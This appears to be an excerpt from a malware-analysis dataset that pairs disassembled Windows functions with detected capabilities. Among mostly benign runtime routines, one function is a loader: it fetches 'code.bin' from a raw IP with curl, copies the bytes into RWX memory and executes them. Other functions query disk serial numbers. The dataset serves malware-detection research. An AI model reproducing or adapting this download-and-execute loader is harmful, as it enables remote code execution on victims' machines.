joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400156a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push r15
push rbp
sub rsp, 0xd0
mov r15d, edx
mov dword [rsp + 0x100], r8d
mov r14d, ecx
mov qword [rsp + 0x108], r9
test r15d, r15d
jne 0x1400156e4
cmp r14d, 1
lea rcx, [0x140037b40]
call fcn.140018b1c
add rsp, 0xd0
pop rbp
pop r15
pop r14
ret
cmp dword [0x14003de40], 0
je 0x140015751
mov dword [0x14003de40], 0
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, str._lu__s
lea rcx, [rsp + 0x40]
mov r8d, eax
lea r9, str.irc_msg.dll
call fcn.1400190b4
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140045de0], rax
test rax, rax
je 0x140015751
movsxd rdx, r15d
lea rax, [0x140002000]
shl rdx, 4
mov dword [0x14003de44], 0
mov rbp, qword [rax + rdx + 0x35768]
jmp 0x140015773
mov r9d, dword [0x14003de44]
movsxd rdx, r15d
lea rax, [0x140002000]
shl rdx, 4
test r9d, r9d
mov rbp, qword [rax + rdx + 0x35768]
jne 0x1400157dc
mov r10, rsp
add r15d, 0x80000000
mov rdx, qword [0x140045de0]
mov ecx, 0x900
mov r8d, r15d
mov r9d, 0x409
lea rax, [rsp + 0xc0]
mov qword [r10 + 0x20], rax
mov dword [r10 + 0x28], 0x200
mov qword [r10 + 0x30], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
je 0x1400157dc
mov rbp, qword [rsp + 0xc0]
mov rcx, rbp
call fcn.14001e550
mov r15, rax
cmp r15, 1
jbe 0x1400157dc
lea r8, [r15 - 2]
cmp byte [r8 + rbp], 0xd
je 0x140015845
cmp dword [rsp + 0x100], 0
jle 0x140015820
lea rax, [rsp + 0x108]
mov qword [rsp + 0xc8], rax
lea rcx, [0x140045be0]
mov rdx, rbp
mov r8, qword [rsp + 0xc8]
call fcn.140019e4c
mov qword [rsp + 0xc8], 0
lea rbp, [0x140045be0]
cmp r14d, 1
mov rcx, rbp
call fcn.140018b1c
lea rcx, [0x140037b40]
call fcn.140018b1c
add rsp, 0xd0
pop rbp
pop r15
pop r14
ret
cmp byte [rbp + r15 - 1], 0xa
jne 0x1400157dc
lea rcx, [0x1400459e0]
mov rdx, rbp
call fcn.140028bf0
lea rax, [0x140002000]
lea rbp, [0x1400459e0]
mov byte [rax + r15 + 0x439de], 0
jmp 0x1400157dc

Function at 0x1400190a8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140018f10
Function at 0x14001124e
Capabilities:
Terminate process

Disassembly:
jmp 0x1400139f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112e9
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014d40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014d60
xor al, al
jmp 0x140014de1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014d73
xor al, al
jmp 0x140014de1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014d9d
xor al, al
jmp 0x140014de1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014db1
xor al, al
jmp 0x140014de1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014dc3
xor al, al
jmp 0x140014de1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014ddf
xor al, al
jmp 0x140014de1
mov al, 1
add rsp, 0x38
ret
Function at 0x140012a90
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011424
movzx eax, al
test eax, eax
jne 0x140012ab0
mov ecx, 7
call fcn.140011393
nop
mov byte [rsp + 0x20], 0
call fcn.1400113a7
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012ad4
mov ecx, 7
call fcn.140011393
nop
jmp 0x140012b2c
cmp dword [0x14001e868], 0
jne 0x140012b27
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111f4
test eax, eax
je 0x140012b08
mov eax, 0xff
jmp 0x140012c31
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001139d
mov dword [0x14001e868], 2
jmp 0x140012b2c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001137f
call fcn.140011311
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012b89
mov rcx, qword [rsp + 0x30]
call fcn.14001119f
movzx eax, al
test eax, eax
je 0x140012b89
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.140011343
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012bbd
mov rcx, qword [rsp + 0x38]
call fcn.14001119f
movzx eax, al
test eax, eax
je 0x140012bbd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113de
nop
call fcn.140012ce0
mov dword [rsp + 0x28], eax
call fcn.1400112e9
movzx eax, al
test eax, eax
jne 0x140012bdc
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012beb
call fcn.1400113ed
nop
xor edx, edx
mov cl, 1
call fcn.14001118b
mov eax, dword [rsp + 0x28]
jmp 0x140012c31
add rsp, 0x68
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00404500]
mov dword [rax], 1
mov rax, qword [0x00404510]
mov dword [rax], 1
mov rax, qword [0x004044e0]
mov dword [rax], 1
mov rax, qword [0x004043d0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x004044d0]
mov dword [0x0040700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00404490]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404380]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x210
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.curl_http:192.186.100.180_code.bin
mov qword [rbp + 0x180], rax
mov byte [rbp + 0x16f], 0
mov dword [rbp + 0x18c], 0
mov rax, qword [rbp + 0x180]
lea rdx, [0x00404023]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
jne 0x40160a
lea rcx, str.popen___falid.
call sym.perror
mov ecx, 1
call sym.exit
movzx eax, byte [rbp + 0x16f]
mov edx, eax
mov eax, dword [rbp + 0x18c]
cdqe
mov byte [rbp + rax - 0x60], dl
mov eax, dword [rbp + 0x18c]
cdqe
movzx eax, byte [rbp + rax - 0x60]
movzx eax, al
mov ecx, eax
call sym.putchar
add dword [rbp + 0x18c], 1
mov rdx, qword [rbp + 0x178]
lea rax, [rbp + 0x16f]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
jne 0x4015d7
mov rax, qword [rbp + 0x178]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1cc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x170]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x170]
call rax
mov eax, 0
add rsp, 0x210
pop rsi
pop rdi
pop rbp
ret
Function at 0x401b90
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x401c00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00407614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401da8
mov rax, qword [0x00407618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401c4c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401cd7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401c30
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x401de2
mov rax, qword [0x00407618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401df1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401cd0
sub eax, 4
and eax, 0xfffffffb
jne 0x401d60
add dword [0x00407614], 1
cmp ebx, 8
jae 0x401d08
test bl, 4
jne 0x401db0
test ebx, ebx
je 0x401cf9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401dd0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401cf9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401d3a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00407618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401cd0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x401c57
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401cf9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401cf9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00407618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x4025d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402624
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40261b
test r12, r12
je 0x40261b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402600
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402850
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x402860
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x402870
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4028b5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x4028ac
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4028b7
add rax, 0x28
cmp rax, r9
jne 0x402898
xor eax, eax
ret

Function at 0x402960
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004043d0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x4029d9
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4029d9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x4029d6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x4029cd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x4029d9
add r8, 0x28
cmp r8, r9
jne 0x4029b8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x402ac0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x004043d0]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x402b2f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b2f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x402b2d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402b24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402b38
add rax, 0x28
cmp rax, r9
jne 0x402b10
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402b50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004043d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x402bc8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402bc8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x402bc8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402bc8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x402bbc
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x402bd0
add rdx, 0x28
cmp rdx, r10
jne 0x402ba8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x402be0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x402bee
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402bc5
test r8d, r8d
jg 0x402bd8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x629126d0
Capabilities:
Get storage device properties

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x108
lea rbx, [rsp + 0x70]
mov rdi, rdx
mov ebp, ecx
xor edx, edx
mov rcx, rdi
mov rsi, r8
call fcn.62981288
mov rcx, rbx
mov r8d, ebp
lea rdx, str..PhysicalDrive_d
call qword [0x629a3558]
xor r9d, r9d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [0x629a3270]
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x629127bc
lea r12, [0x6299a240]
xor edx, edx
mov r8d, 0x2710
mov dword [rsp + 0x60], 0
lea r13, [rsp + 0x64]
mov qword [rsp + 0x64], 0
mov rcx, r12
mov dword [rsp + 0x6c], 0
call fcn.62981288
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x2710
mov qword [rsp + 0x20], r12
mov r9d, 0xc
mov r8, r13
mov qword [rsp + 0x30], rax
mov edx, 0x2d1400
mov rcx, rbx
call qword [0x629a3288]
test eax, eax
jne 0x629127e4
mov rcx, rbx
call qword [0x629a3268]
cmp rsi, 0x13
jbe 0x62912990
mov rdx, rdi
mov ecx, ebp
call fcn.62912320
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x6299a258]
test eax, eax
je 0x629127b3
add rax, r12
mov r15, qword [0x629a34a8]
mov r13d, 0x64
mov qword [rsp + 0x58], rax
mov r12, rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov r14, rax
test r13d, r13d
movzx edx, byte [r12]
je 0x629128c0
test dl, dl
je 0x629128c0
movsx ecx, dl
mov byte [rsp + 0x4e], dl
call r15
test eax, eax
je 0x62912960
movzx edx, byte [rsp + 0x4e]
cmp dl, 0x39
jg 0x62912940
sub edx, 0x30
movsx ecx, byte [r12 + 1]
shl edx, 4
mov byte [rsp + 0x4e], dl
mov byte [rsp + 0x4f], cl
call r15
test eax, eax
je 0x62912960
movzx edx, byte [rsp + 0x4f]
cmp dl, 0x39
jg 0x62912950
sub edx, 0x30
or dl, byte [rsp + 0x4e]
add r12, 2
movzx ecx, dl
mov byte [rsp + 0x4e], dl
call qword [0x629a34a0]
test eax, eax
je 0x62912960
movzx edx, byte [rsp + 0x4e]
cmp dl, 0x20
je 0x62912816
sub r13d, 1
mov byte [r14], dl
add r14, 1
test r13d, r13d
movzx edx, byte [r12]
jne 0x62912824
mov r8, qword [rsp + 0x50]
mov byte [r14], 0
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x629128c9
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
mov ecx, eax
cmove r8, rdx
add cl, al
sbb r8, 3
sub r8, qword [rsp + 0x50]
cmp r8d, esi
mov r12d, r8d
jae 0x629127b3
mov rdx, qword [rsp + 0x50]
add r8, 1
mov rcx, rdi
call fcn.62981298
mov rcx, rbx
call qword [0x629a3268]
test r12d, r12d
je 0x629127bc
xor eax, eax
jmp 0x629127d0
and edx, 0xffffffdf
sub edx, 0x37
jmp 0x6291284f
and edx, 0xffffffdf
sub edx, 0x37
jmp 0x6291287c
mov rcx, qword [rsp + 0x58]
call fcn.62981240
cmp eax, esi
mov r12d, eax
jae 0x629127b3
mov rdx, qword [rsp + 0x58]
lea r8, [rax + 1]
mov rcx, rdi
call fcn.62981298
jmp 0x62912920
mov eax, 0xffffffff
jmp 0x629127d0
Function at 0x62912a70
Capabilities:
Get storage device properties

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
movsx eax, byte [rcx]
mov rbx, rdx
mov rsi, r8
cmp al, 0x2a
je 0x62912af1
cmp al, 0x2f
jne 0x62912a93
movsx eax, byte [rcx + 1]
add rcx, 1
test al, al
je 0x62912b8e
sub eax, 0x30
cmp eax, 9
jbe 0x62912abf
jmp 0x62912ae1
lea r8d, [rdx - 0x30]
cmp r8d, 9
ja 0x62912ae1
lea r8d, [rax + rax*4]
lea edx, [rdx + r8*2 - 0x30]
add eax, edx
cmp eax, 0x5a
jg 0x62912ae1
add rcx, 1
movsx edx, byte [rcx]
test dl, dl
jne 0x62912aa5
mov r8, rsi
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.629126d0
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp r8, 5
jbe 0x62912b95
lea rdx, str.__d:
xor r8d, r8d
mov rcx, rbx
mov rbp, rbx
xor edi, edi
lea r12, str.__d:
call fcn.62981268
mov edx, 3
jmp 0x62912b60
mov rcx, rbp
add edi, 1
call fcn.62981240
cdqe
lea rdx, [rbp + rax]
sub rsi, rax
cmp edi, 0x59
lea rbp, [rdx + 1]
mov byte [rdx], 0x2c
jg 0x62912b78
cmp rsi, 5
jbe 0x62912b78
mov rdx, r12
mov r8d, edi
mov rcx, rbp
call fcn.62981268
xor edx, edx
cmp edi, 9
setg dl
add edx, 3
movsxd rdx, edx
mov ecx, edi
sub rsi, rdx
add rdx, rbp
mov r8, rsi
call fcn.629126d0
cmp eax, 0xffffffff
jne 0x62912b20
cmp rbx, rbp
jae 0x62912b95
xor eax, eax
mov byte [rbp - 1], 0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
xor eax, eax
jmp 0x62912aca
lea r8, str.No_any_serial_number_of_harddisk_got
lea rcx, str..._src_platforms_windows_hdinfo.c
mov edx, 0x23e
call fcn.62904230
mov eax, 0xffffffff
jmp 0x62912ae6
Function at 0x62918560
Capabilities:
Hash data with md5

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x6291859a
xor eax, eax
mov dword [rcx + 8], 0x67452301
mov dword [rcx + 0xc], 0xefcdab89
mov dword [rcx + 0x10], 0x98badcfe
mov dword [rcx + 0x14], 0x10325476
mov dword [rcx + 0x18], 0
mov qword [rcx], 0
add rsp, 0x28
ret
lea rdx, str.src_hashes_md5.c
lea rcx, [0x6298d291]
mov r8d, 0xe9
call fcn.6291d500
nop
nop
nop word cs:[rax + rax]
Function at 0x629185c0
Capabilities:
Hash data with md5

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
mov rbx, rcx
mov rsi, rdx
je 0x629187d0
test rdx, rdx
je 0x629187e9
mov edx, dword [rcx + 0x18]
mov eax, 0x10
cmp edx, 0x3f
jbe 0x629185f4
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
lea r8d, [rdx*8]
add r8, qword [rcx]
mov eax, edx
mov qword [rcx], r8
lea ecx, [rdx + 1]
cmp ecx, 0x38
mov dword [rbx + 0x18], ecx
mov byte [rbx + rax + 0x1c], pe_nt_image_headers64
ja 0x62918750
cmp ecx, 0x38
lea rdi, [rbx + 0x1c]
je 0x62918719
mov edx, ecx
lea r9d, [rcx + 1]
mov eax, ecx
not edx
mov byte [rbx + rax + 0x1c], 0
and edx, 7
cmp r9d, 0x38
je 0x62918712
test edx, edx
je 0x629186bd
cmp edx, 1
je 0x629186ab
cmp edx, 2
je 0x6291869f
cmp edx, 3
je 0x62918693
cmp edx, 4
je 0x62918686
cmp edx, 5
je 0x62918679
cmp edx, 6
je 0x6291866d
mov byte [rbx + r9 + 0x1c], 0
lea r9d, [rcx + 2]
mov ecx, r9d
add r9d, 1
mov byte [rbx + rcx + 0x1c], 0
mov r10d, r9d
add r9d, 1
mov byte [rbx + r10 + 0x1c], 0
mov r11d, r9d
add r9d, 1
mov byte [rbx + r11 + 0x1c], 0
mov edx, r9d
add r9d, 1
mov byte [rbx + rdx + 0x1c], 0
mov eax, r9d
add r9d, 1
mov byte [rbx + rax + 0x1c], 0
mov ecx, r9d
add r9d, 1
cmp r9d, 0x38
mov byte [rbx + rcx + 0x1c], 0
je 0x62918712
lea r11d, [r9 + 1]
lea edx, [r9 + 2]
mov r10d, r9d
mov byte [rbx + r10 + 0x1c], 0
lea eax, [r9 + 3]
lea ecx, [r9 + 4]
mov byte [rbx + r11 + 0x1c], 0
lea r10d, [r9 + 5]
mov byte [rbx + rdx + 0x1c], 0
lea r11d, [r9 + 6]
lea edx, [r9 + 7]
add r9d, 8
cmp r9d, 0x38
mov byte [rbx + rax + 0x1c], 0
mov byte [rbx + rcx + 0x1c], 0
mov byte [rbx + r10 + 0x1c], 0
mov byte [rbx + r11 + 0x1c], 0
mov byte [rbx + rdx + 0x1c], 0
jne 0x629186bd
mov dword [rbx + 0x18], 0x38
mov qword [rbx + 0x54], r8
mov rdx, rdi
mov rcx, rbx
call fcn.62917d20
mov r9d, dword [rbx + 8]
xor eax, eax
mov dword [rsi], r9d
mov edi, dword [rbx + 0xc]
mov dword [rsi + 4], edi
mov r8d, dword [rbx + 0x10]
mov dword [rsi + 8], r8d
mov ebx, dword [rbx + 0x14]
mov dword [rsi + 0xc], ebx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
cmp ecx, 0x40
je 0x629187b7
lea edi, [rdx + 2]
mov byte [rbx + rcx + 0x1c], 0
cmp edi, 0x40
je 0x629187b0
lea r8d, [rdx + 3]
mov byte [rbx + rdi + 0x1c], 0
cmp r8d, 0x40
je 0x629187b0
lea r9d, [rdx + 4]
mov byte [rbx + r8 + 0x1c], 0
cmp r9d, 0x40
je 0x629187b0
lea r10d, [rdx + 5]
mov byte [rbx + r9 + 0x1c], 0
cmp r10d, 0x40
je 0x629187b0
lea r11d, [rdx + 6]
mov byte [rbx + r10 + 0x1c], 0
cmp r11d, 0x40
je 0x629187b0
cmp edx, 0x38
mov byte [rbx + r11 + 0x1c], 0
jne 0x629187b0
mov byte [rbx + 0x5b], 0
mov dword [rbx + 0x18], 0x40
lea rdi, [rbx + 0x1c]
mov rcx, rbx
mov rdx, rdi
call fcn.62917d20
mov r8, qword [rbx]
xor ecx, ecx
jmp 0x62918625
lea rdx, str.src_hashes_md5.c
lea rcx, [0x6298d291]
mov r8d, 0x106
call fcn.6291d500
lea rdx, str.src_hashes_md5.c
lea rcx, [0x6298d29c]
mov r8d, 0x107
call fcn.6291d500
nop
nop dword [rax]
nop word cs:[rax + rax]